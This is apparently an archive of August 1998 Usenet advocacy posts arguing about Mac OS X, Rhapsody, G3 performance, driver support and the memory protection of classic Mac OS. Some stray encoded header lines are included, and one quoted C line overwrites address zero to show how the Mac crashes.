> Imagine if Microsoft had continued to develop Windows 3.x after they had
> released Windows 95. Who would care? People want new OS versions presumably
> because they want new features. Mac OS 8.5 and 9 will be missing the features
> that a lot of people really want from OS X.
Invalid comparison.
Try: "Imagine if Microsoft had continued to develop Windows95
after they had released WindowsNT...", it's closer to the actual
relationship.
Date: Sat, 01 Aug 1998 14:35:17 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <stevehix-0108981435170001@ip57.safemail.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net>
Organization: Close to None
In article <35C161F5.925953A@earthlink.net>, jontemple@earthlink.net wrote:
> quinlan@my-dejanews.com wrote:
>
> > In article <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> > mbkennel <replace this with '@'> yahoo.com wrote:
> >
> > > It does: MacOS 8.5, MacOS 9.
> >
> > Imagine if Microsoft had continued to develop Windows 3.x after they had
> > released Windows 95. Who would care? People want new OS versions presumably
> > because they want new features. Mac OS 8.5 and 9 will be missing the
features
> > that a lot of people really want from OS X.
>
> Brian, this is an *excellent* analogy!
Jon, it's a limp analogy. MacOS 8.x is to MacOS X as
Windows95 is to WindowsNT would be a more valid analogy.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dd3uyh.12sd1eaezz4wN@dialup93-1-39.swipnet.se>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com> <6ptgu1$nd3$1@plo.sierra.com> <alex-0108981542080001@castle.webis.net>
Organization: pv
Date: Sat, 01 Aug 1998 21:58:27 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 23:58:27 MET DST
Alex Kac <alex@webis.net> wrote:
>: quinlan@intergate.bc.ca wrote in message
>: <6pt9ce$est$1@nnrp1.dejanews.com>...
>: If he's working on any kind of Unix, Windows, or BeOS, then yes, he
>: would immediately find it, because the system would halt the app, and
>: the debugger would show him the exactly line of source. If he's on
>: MacOS, the system freezes, with no indication whatsoever where the
>: error is. He will then spend several minutes rebooting, and
>: restarting the app and trying to reproduce the same conditions.
>:
> If he's any kind of programmer, he has Macsbug installed which will show
> him exactly where it crashed and why.
He's right and you're wrong. The Mac dies. Restart from CD and let DFA
work, then restart again. You're left without hints about what happened.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sat, 01 Aug 1998 14:44:25 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article
<ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig(nospam)Koller) wrote:
> In article
> <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net>,
> macghod@concentric.net (Steve Sullivan) wrote:
>
> > From todays santa barbara news press, editorial page, a readers letter:
> > <title> Working on Apple's newest G3, and loving it </title>
> > As a long-time reader and techno-guy (uh huh, yes you are just so wise, mr
> > g3's are at least twice as fast as a intel 400 mhz pc), I wonder why the
> > weekly monday featrure on computer related issues in the News-Press is so
> > unfriendly toward Appel computers.
> > The article on the recent Macworld show typifies the negative attitude
> > and dismissal of Macs as a viable entity in the hi-tech world.
> > Peter Lewis, author of the biased and misinformed article, obviously
> > has never seen or used the new Macintosh g3, which is at least twice as
> > fast (sic) as a 400 mhz intel pc.
>
> Interesting. The Ads say the "chip" is "up to twice as fast" and our
> friend says the computer itself is "at least" twice as fast. Pretty broad
> discrepancy huh, although you gotta admire the guy for his enthusiasm -
> only because this is a Mac advocacy group (if he said the Mac could turn
> water into Snapple I'd be even more impressed).
You are also forgetting the ad does not say is up to twice as fast as a p2 400.
Plus, they say the "chip" but they mean the computer. Bytemark is
measuring the computer, not the chip, right? Er is it measuring the
computer running a specific os? Er is it measuring the computer running a
specific os when compiled with moto dr3 compiler? Er is it measuring
the computer running a specific os when compiled with moto dr3 compiler,
and the p2 is running windows, and compiled on a specific compiler?
You take that dog of a os windows out of the equation, and the p2 will be
dramatically improved. And different os's would change the result of the
mac side.
I believe a g3 300 and a p2 400 are about the same speed. If I saw a test
where the two were compared using 15 photoshop filters, I would be more
inclined to take that number (and no 4 photoshop actions does not cut it)
BUT someone pointed me out to a mathematica benchmark, and the p2 400
running linux POUNDED THE LIVING CRAP OUT OF THE G3 300. It was something
like %30 faster.
> But consider these two bullets that boneheaded media trolls use ad
> infinitum, ad nauseum: "Betamax" and "Apple is dying." Hey, if it takes
> equal slight of hand to counter the existing FUD. So be it. I won't
> perpetuate it mahself, but I can see others doing so... it's just the way
> of the world.
So ya wanna talk fud? Didnt Steve Jobs himself admit Apple WAS dieing,
and if dramatic steps werent taken it would die? Back when it was doing
so badly, Joe R et all was saying it was all FUD, is steve J FUDing?
> [snip]
> >
> > Well, the good news is APple's commercials ARE most definitely working.
> > The CLUELESS are buying it hook line and sinker, which while bothering me
> > for intellectual reasons (ie its not true), makes me happy in that it
> > should brighten Apple's prospects. If these ads cause apple to skyrocket
> > in total marketshare to %10 or %20 (worldwide marketshare is only %3 now),
> > I would be very happy.
>
> Yeah, I'd say I have to agree with you. Don't be fooled, there's no way
> Apple could get away with making untrue statements about its products in
> relation to Wintel (there's way too many ravenous lawyers who'd *love* a
> piece of that action). But it's human nature for folks to take the
> propaganda and blow it out of proportion.
I totally disagree. The g3 266 is up to twice as fast as a p2 300. The p2
300 is up to 8 times as fast as a g3 266. BOth statements ARE true. But
at the same time both are little white lies at the same time. Saying "the
g3" basically means as a whole. To be honest, they should say "the g3, in
certain functions, under the macos, is up to twice as fast as a p2, when
running that bloatware called windows 95, at certain rare functions. "
(ok, ok, they can delete "bloatware" and "rare" ;-)
> > Apple increasing its marketshare is a GOOD THING, even if it causes
> > idiots to spew such idiotic comments. And this guys comment is as
> > stupid as a wintel person bragging about how the p2 chip causes the
> > computer to have "more vibrant colors".
>
> God, I LOVED that one! I still have carpet burns on my back from rolling
> on the floor laughing...
>
> >
> > This letter greatly bothers me, in that utterly stupid comments bother me,
> > but does also show that APple's mindshare is increasing.
> >
> Mindless-share is a critical *part* of mindshare. ;@)
>
> >
> > (NOTE, I tried to figure out what "rodger Dawson's" email address was so I
> > could send a copy of this to him so he would have a chance to reply, but
> > the only rodger dawson I found was back east. So instead I only emailed
> > it to another official at sbhs (the advisor to the santa barbara high
> > school arts and technology workshop, which is the most similiar thing to
> > multi-media Arts & Technology Academy at Santa Barbara High School I could
> > find , in case he knew the above person and wanted to forward it to him,
> > so Mr Dawson could reply back to my comments in comp.sys.mac.advocacy
>
> Oh, c'mon, we all knew that this Dawson fellow is yet another pseudonym
> used by Joe Ragosta to spread the gospel... mindless though it might be.
I apologize, is this a jab at the pc people here? Joe R didnt write a
letter to the editor to our local paper ;)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 98 15:41:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E8E7AF-127AA7@206.165.43.118>
References: <stevehix-0108981435170001@ip57.safemail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Steve Hix <stevehix@safemail.com> said:
>>
>> Brian, this is an *excellent* analogy!
>
>Jon, it's a limp analogy. MacOS 8.x is to MacOS X as
>Windows95 is to WindowsNT would be a more valid analogy.
OK, so PII's that run W95 AND WNT vs 604e's that run MacOS 8.x but not
MacOS X are also a good analogy.
Of what, I'm not quite sure...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ayufbaykuh@bayust.cowm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 01 Aug 1998 15:50:55 -0700
Message-ID: <ayufbaykuh-0108981550570001@192.168.0.2>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6pvq5u$lb9$1@nnrp1.dejanews.com>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <6pvq5u$lb9$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>In article <joe.ragosta-0108980723530001@elk78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> > And its much, much, much easier for a programmer to do something stupid and
>> > kill MacOS than it is to kill Windows.
>>
>> A statement for which you've NEVER provided one shred of evidence.
>
>OK, Windows 95 protects you again memory overwrites, a very common programming
>error. The following code crashes my Mac but not my PC:
>
>strcpy( (char *) 0, "Restart Mac here (interupt vector gone)." );
Read Joe's statement again. Earl hasn't provided any proof. All he's
provided are cute little parlour tricks ad nauseum such as the one you've
presented here.
Before Earl found his way into my killfile after proving himself a
butt-head, I attempted to explain to him that, if conditions exist in my
code such as those illustrated by your hackneyed little trick, I'll have
to fix them. That holds true not only for overwriting memory location
zero, but overwriting memory occupied by other data, or unallocated memory
space. If I fail to do so, my otherwise excellent application is not
going to find favour in the Macintosh marketplace, because the likelihood
that it will crash is very, very high. As Bo3b Johnson says in one of his
excellent technical notes (albeit tongue-in-cheek), "Programs that crash
have been proven to be less useful than those that do not."
The reason that we have code reviews and quality assurance is to head off
errors such as these. Despite our best efforts, not all of these errors
are caught, but the vast majority of them are, and what results are
applications that are more robust for the effort.
One of 95/98's vaunted advantages may be memory protection, but I find
myself taking cold comfort in that knowledge when my Dell Dimension locks
up tight at work. It obviously isn't a panacea, and I find it annoying as
anything when Microsoft apologists insist that it is.
--
"When future historians write about us, if they base their
conclusions on whatever material goods survive from Present-Day
America, we will undoubtedly stand alone among nations and be known
forevermore as "THOSE WHO CHOSE CHEESE." - Frank Zappa
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It's worth repeating: <-No Its Not, Buffoon
Date: Sat, 01 Aug 1998 15:53:50 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0108981553500001@sdn-ar-001casbarp292.dialsprint.net>
References: <35C1C1CD.70D0@globaldialog.com> <derekc-3107981314260001@as5300-3-67.roc.ny.frontiernet.net> <6ptg0c$mu4$1@plo.sierra.com> <35c594f6.33492670@198.0.0.100> <35c2a5f6.99760473@news.clark.net> <35c880ba.6468984@198.0.0.100>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <35c880ba.6468984@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> worse yet is the sad lack of OpenGL support for the mac caused by
> another one of their failed proprietary strategies;
If you want opengl support buy a mac g3 and put rhapsody on it. Opengl
exists for rhapsody, I know, I have it (conix opengl for rhapsody, tho
actually saying I have it is a lie, I am a beta tester but I never
downloaded the stuff cause I am not using rhapsody, because I couldnt
figure out how to get ppp to work. I figured I could put in the serial
drivers and use the ppp in bluebox, but I cant get serial to work in the
bluebox? I have emailed the macos x server list several times, as well as
Jordan De mattson several times asking if the bluebox supports serial, but
have gotten no answer. It could be the blue box DOES support serial but I
just didnt install the serial drivers on rhapsody correctly, but no one
has verified this)
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 1 Aug 1998 18:12:12 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980801102930.18964A-100000@ux8.cso.uiuc.edu>
References: <35c1d9b6.0@news.depaul.edu> <B1E7A648-5062B@206.165.43.145> <01bdbd38$404f50c0$97b5dccf@samsara> <Pine.SOL.3.96.980731234811.3174C-100000@ux10.cso.uiuc.edu> <01bdbd5e$af207f80$ccb4dccf@samsara>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <01bdbd5e$af207f80$ccb4dccf@samsara>
On 1 Aug 1998, Jonathan Hendry wrote:
> Pulsar <tokarek@uiuc.edu> wrote in article
> <Pine.SOL.3.96.980731234811.3174C-100000@ux10.cso.uiuc.edu>...
> > On 1 Aug 1998, Jonathan Hendry wrote:
> >
> > > First, some set of PCI devices will work - a set useful for a role as
> > > a server. Apple is not going to support every PCI device available,
> > > because many devices aren't targeted for servers.
> >
> > Yeah, and because it's not Apple's job to do so. It is the job of the
> > manufacturers of these devices to write drivers. Apple does not have the
> > hardware details of these things and Apple should not be responsible for
> > them.
>
> Don't kid yourself - Apple will be writing Rhapsody drivers, just like
> they wrote drivers for NeXTSTEP and OpenStep. Hardware vendors may
> take over for Mac OS/X, but for the most part they won't be writing
> Rhapsody drivers. No real point exerting the effort right now. Might
> as well wait for OS/X.
Pfft. Don't kid _your_self. Apple is not in the business of writing device
drivers for other companies. It might for the OEMed bundled hardware with
say the ATI XClaim GA that shipped with the first 9500s, but even then I
doubt Apple will be doing much of the work.
> Further, the more kinds of devices get plugged in, the more the
> OS will be stressed, and the more OS/driver bugs can be found and
> fixed. If relatively few devices work with Rhapsody, then a lot
> of bugs won't be found.
Umm... what are you talking about? This is PCI. What bugs in the OS are
going to prevent a PCI card from working? Are you assuming that Apple will
fix nothing in Rhapsody which is being positioned as a _Server_ OS? So
this _server_ OS is going to have bugs in it that when found will not be
fixed?
Umm, something doesn't right true here.
> > > Second, there will be little incentive for companies to write Rhapsody
> > > drivers, unless their products are useful in servers.
> >
> > Why? What makes Rhapsody such a great server OS? I thought this has been
> > brought up before. I believe there was an article on Stepwise a while
> > back that pointed out how silly it would be to position Rhapsody as a
> > server OS only.
>
> Hey, I'm not the one who renamed it 'MacOS/X Server' am I? It would suit
> me fine, but that doesn't mean everyone's going to buy it, and it doesn't
> mean every hardware vendor is going to be writing drivers.
Which doesn't matter much to support for Mac OS X anyway.
> > > End result: many PCI devices won't work with (or, rather, will be
> > > ignored by) Rhapsody.
> >
> > That is still not relevant to Mac OS X.
>
> It is, because it implies that Rhapsody users won't be fully exercising
> all aspects of their PowerMacs, so a lot of bugs won't be flushed out
> by end users pushing the OS and hardware in weird combinations. As such,
> the fact that Rhapsody will run on pre-G3 Macs doesn't really say
> anything about how much work is involved in making OS X run on them. Same
> with the PowerMac Linuxes. They 'run', but how well?
>
> It's the 80/20 rule. The last 20% of functionality takes 80% of the time.
> Rhapsody will have that 'easy' 80%. MacOS/X needs all 100%, which is
> a lot harder.
This is all speculation and doesn't quite make sense. Wouldn't you suppose
that the areas that Rhapsody will be suited to would actually result in
_more_ odd combinations of hardware? There will be different combinations
of graphics cards, SCSI cards, and Network cards. Will a server oriented
high-end graphics capable OS really avoid all these bugs you imply?
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 1 Aug 1998 18:20:40 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980801181219.18275A-100000@ux5.cso.uiuc.edu>
References: <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net> <Pine.SOL.3.96.980731083550.6876A-100000@ux7.cso.uiuc.edu> <35C2DB63.4F54@bellatlantic.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <35C2DB63.4F54@bellatlantic.net>
On Sat, 1 Aug 1998, Jeffrey S. Dutky wrote:
> Pulsar wrote:
> >
> > Everything about Mac OS X _except_ for the kernel and
> > IOKit drivers is abstracted from the hardware _through_
> > the kernel.
>
> But you'r wrong about this. The idea behind a micro-kernel
> is to support a minimum of hardware abstraction in the
> micro-kernel. The only things supported by most micro-
> kernels are context switching, process management, memory
> management, basic boot time I/O (boot terminal and disk),
> synchronization, and inter-process communication. Everything
> else is left to a higher level of the OS, e.g. the IOKit.
You're right. In the case of Mach, this is left to a personality layer. In
Rhapsody this is the BSD 4.4 layer. In Mac OS X this will be an
unspecified "POSIX" layer. Everything is abstracted through a combination
of that and the kernel..
> Micro-kernels specifically DON'T provide abstraction of
> extraneous elements such as pointing devices, video frame
> buffers, non-boot related I/O, etc. Hence the micro-kernel
> is very small and easy to port from one architecture to
> another. However, just because you get the micro-kernel
> ported to a new platform doesn't mean that the client OS's
> know how to deal with all the hardware that is nessecary
> to support a modern GUI.
Yeah, but neither the Yellow Box, Blue Box, nor Carbon need to deal with
this. These portions of the OS _are_ abstracted from the hardware. There
is no extra work to get these working on pre-G3 PowerMacs if the lower
levels get done.
> Check out how many different graphics cards are NOT supported
> by MkLinux, LinuxPPC and Rhapsody, you'll be shocked.
What? You mean there are a lot of graphics cards that people working in
their spare time without documentation or help from the manufacturers
haven't been able to support? My gosh! That's shocking!
Come on. Mac OS X is an entirely different beast. The situation is not at
all the same, and where a parallel can be drawn, it doesn't help the
argument that its very hard for Apple to get Mac OS X working on other
machines.
_Regardless_ of whether Apple supports pre-G3 PCI PowerMacs, these
graphics cards will have to be supported since they can just as easily be
put into a PowerMac G3. It is not the job of Apple to support those. It is
the job of the 3rd parties to do so.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 23:35:35 GMT
Organization: Steel Driving Software
Message-ID: <01bdbdec$e1120cf0$29badccf@samsara>
References: <01bdbdd6$b30b38b0$efb5dccf@samsara> <B1E8CEFA-CAC49@206.165.43.118>
Lawson English <english@primenet.com> wrote in article
<B1E8CEFA-CAC49@206.165.43.118>...
> Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>
> >> It's harder to support WIntel hardware because of the myriad models.
> >That's
> >> why MacOS X is Mac-only, remember?
> >
> >Actually, this isn't the case. The main issue is the peripherals,
> >not the motherboards.
>
>
>
> Hmmm... COuld you clarify? Also, why would this be an issue for MacOS and
> not for BeOS (whichever issue it is, that is)?
PC motherboards appear to be pretty well separated from the OS. Like I've
said before, I switched motherboards - to a new motherboard with a
non-Intel
chipset which shipped after OpenStep 4.2, and OpenStep 4.2 had no problems
with it.
If you think of a motherboard as presenting an API to the OS, as long
as the API remains the same, the OS doesn't need to be changed, and
won't need special drivers. So long as that interface remains the
same, it doesn't matter how it's implemented. Doesn't matter if you
switch the memory subsystem from SIMMS to SDRAM DIMMS. Doesn't matter
if you throw an IR header on the board, or USB circuitry (though
you'll likely need software to drive them, the lack of that software
won't prevent the system from running.) Shouldn't matter if you
switch from IDE to UDMA.
MacOS is effected if Apple hasn't bothered keeping this 'API' constant.
BeOS shouldn't have any problems running on most PC motherboards. Their
problems seem to stem from drivers for specific devices like video
cards, SCSI adaptors, sound cards, etc.
There seem to be some motherboard changes that do require OS changes,
such as those changes Intel made in the recent BX design. But that's
Intel trying to drive new standards and not worrying about
compatability. Clone motherboard manufacturers will be striving to
make their motherboards work as-is, without special drivers or software,
so will stick with the current 'API'.
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <forrestDELETE-THIS!-0108981640060001@term2-27.vta.west.net>
References: <forrestDELETE-THIS!-3107982159150001@term1-24.vta.west.net> <1998080113574800.JAA08650@ladder03.news.aol.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sat, 01 Aug 1998 23:40:30 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 16:40:30 PDT
In article <1998080113574800.JAA08650@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> Forrest suggested:
> >Make some Desktop Printers with the Chooser, then all you need to do is
> >drag the document(s) to the printer you want it to print it on and set up
> >your options in the Print dialog that appears. Click OK and off the
> >documents go.
>
> Yes, but then I have to switch from my current application
Option-click the desktop (should always have a least a few pixels visible,
usually about half on inch on the right side of the screen), so it hides
the foreground app and you're free to work in the Finder.
> wait for the
> clipboard to convert
Eh? I've never met an app that had to convert the clipboard (to/from
what?) before.
> hide the other applications
See step #1.
> find the files I want to
> print (assuming I've saved them--typically not the case, I have one document,
> with three different views of a project on three different pages with
different
> page sizes, all of which need to be printed to different printers with
> different settings).
Now I admit that this is a shortcoming, although a small one. With
Rhapsody/OSX, you've got the icon proxies in the title bar, so that would
solve the problem. But for now, you'd have to have the documents saved,
yes.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 01 Aug 1998 16:50:14 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-0108981650140001@ip-26-120.phx.primenet.com>
References: <not-0108981328160001@ip-167-027.phx.primenet.com> <B1E8D0B8-D1531@206.165.43.118>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <B1E8D0B8-D1531@206.165.43.118>, "Lawson English"
<english@primenet.com> wrote:
> >You missed the point. The point is, if Apple doesn't come up with a
> >"modern" OS that delivers SMP,
>
> No shipping G3 system will handle SMP. No rumored G3 system will handle
> SMP. I don't think that even RS/6000 systems based on G3's will handle SMP.
> There's too much extra hardware needed and G4 systems that WILL handle SMP
> with minimal hardware are just around the corner, so why bother developing
> it? G3's are laptop-oriented CPUs, remember.
Did I say anything about G3s and SMP? No, I did not. Please try to read
before you respond.
As you said, G4s are just around the corner, so SMP and Mac OS X is a very
relevant issue. And NT DOES offer SMP, right now.
> preemptive multitasking and protected
> >memory within the next 2 years, all the people who need those things to
> >survive will *go* to NT whether they like it or not. Obsoleting older
> >hardware is actually a sideline issue--as I said, those people who depend
> >on fast hardware/killer OS to sruvive will have long since moved to G3.
>
> Like independent software developers who bought 604e-based systems so that
> they could work with 7.x, 8.x, Rhapsody and MacOS X applications? Some of
> us don't need "killer speed" but DO need a single box that can handle as
> many OS variations as possible. A G3 certainly won't do that.
Did I mention independent software developers or the systems they need to
run? No, I did not. Please try to read before you respond.
> >That 2-month-old 9600 will be 16 months old by the time OS X hits the
> >streets, and will be 1/4 the speed of the cheapest G3 mac for sale (by
> >then we will have 1000 MHz systems available, not to mention dual G4
> >systems.) Getting OS X out the door as fast as possible is the *only*
> >thing that will salvage the high-end production market for Apple and keep
> >them from going NT.
>
> But what about the person who wanted to buy a cheapo, entry-level
> video-editing system and run the latest software on it as well?
Was I talking about that type of user? No, I was not. Please try to read
before you respond.
> Apple is locking THEM out of the upgrade stream, even if the original owner
> has moved on to something else (and a person who needed a 9600 won't be
> happy with any current or announced G3 system so they may not have
> upgraded by then in the first place, except to purchase a $500 card that
> gives them 90% of the speed of your 1000Mhz G3 system).
*If* those upgrade cards are available in the future. That is a big if,
especially if Mac OS X makes buying one a fool's purchase like it is right
now.
Please try to read before you respond.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sat, 01 Aug 1998 23:56:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q09v1$eo4$1@nnrp1.dejanews.com>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <6pt9ce$est$1@nnrp1.dejanews.com> <6ptgu1$nd3$1@plo.sierra.com> <alex-0108981542080001@castle.webis.net>
In article <alex-0108981542080001@castle.webis.net>,
alex@webis.net (Alex Kac) wrote:
> If he's any kind of programmer, he has Macsbug installed which will show
> him exactly where it crashed and why.
Note quite, real programmers use Jasiks :-)
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 02 Aug 1998 00:11:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q0aqr$flf$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <stevehix-0108981433570001@ip57.safemail.com>
